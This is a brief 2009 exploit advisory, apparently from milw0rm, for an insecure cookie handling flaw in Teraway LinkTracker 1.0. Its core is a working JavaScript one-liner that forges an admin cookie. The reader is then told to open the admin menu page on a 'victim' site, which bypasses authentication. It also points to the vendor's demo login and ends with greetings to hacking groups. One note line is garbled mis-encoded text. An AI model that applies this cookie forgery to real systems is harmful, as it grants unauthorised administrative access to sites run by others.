Teraway LinkTracker 1.0 - Insecure Cookie Handling

-------------------------------------[+]
Homepage:http://www.teraway.com
Product: Teraway LinkTracker V1.0
home:www.h4ckf0ru.com
Note: Hawach x.CJP.x Ballk Ma tedirech Ihdae
Note: �0�1�0�6�0�1§�0�2�6�7 �0�1§�0�2�6�7�0�2…�0�2…�0�2�0�6�0�2�6�9 �0�1§�0�2�6�7�0�2…�0�1�0�6�0�1�0�9�0�1�0�2�0�2�0�7�0�2�6�7 �0�1§�0�2�0�7�0�2�6�9 �0�1�0�9�0�2�6�5�0�2�0�7�0�2… �0�2�6�5�0�1§�0�2�6�7 �0�2�0�1�0�2�0�7 �0�1§�0�1�0�2�0�2�6�7�0�1§�0�2… �0�1§�0�2�6�7�0�1�0�1�0�1§�0�1�0�1�0�1�0�5
-------------------------------------
Teraway LinkTracker V1.0 Insecure Cookie Handling Vuln
-------------------------------------
Exploit:
--------

javascript:document.cookie="twLTadmin=userid=1&lvl=1;path=/";
Then Go to  http://victim/path/menu.asp

demo
----
http://www.teraway.com/linktracker/demo/login.asp


--------------------------------------------------
 Greetz to :
[+] Super_Cristal (My Master) Dos-Dz Team Snakes TeaM
SuB-ZeRo x.CJP.x Mr.tro0oqy - Cyber-Zone-  ZoRLu
And ALL Members Of anti-intruders.org
ALL My Friends (Dz)
[+]-------------------------------------[+]

# milw0rm.com [2009-04-27]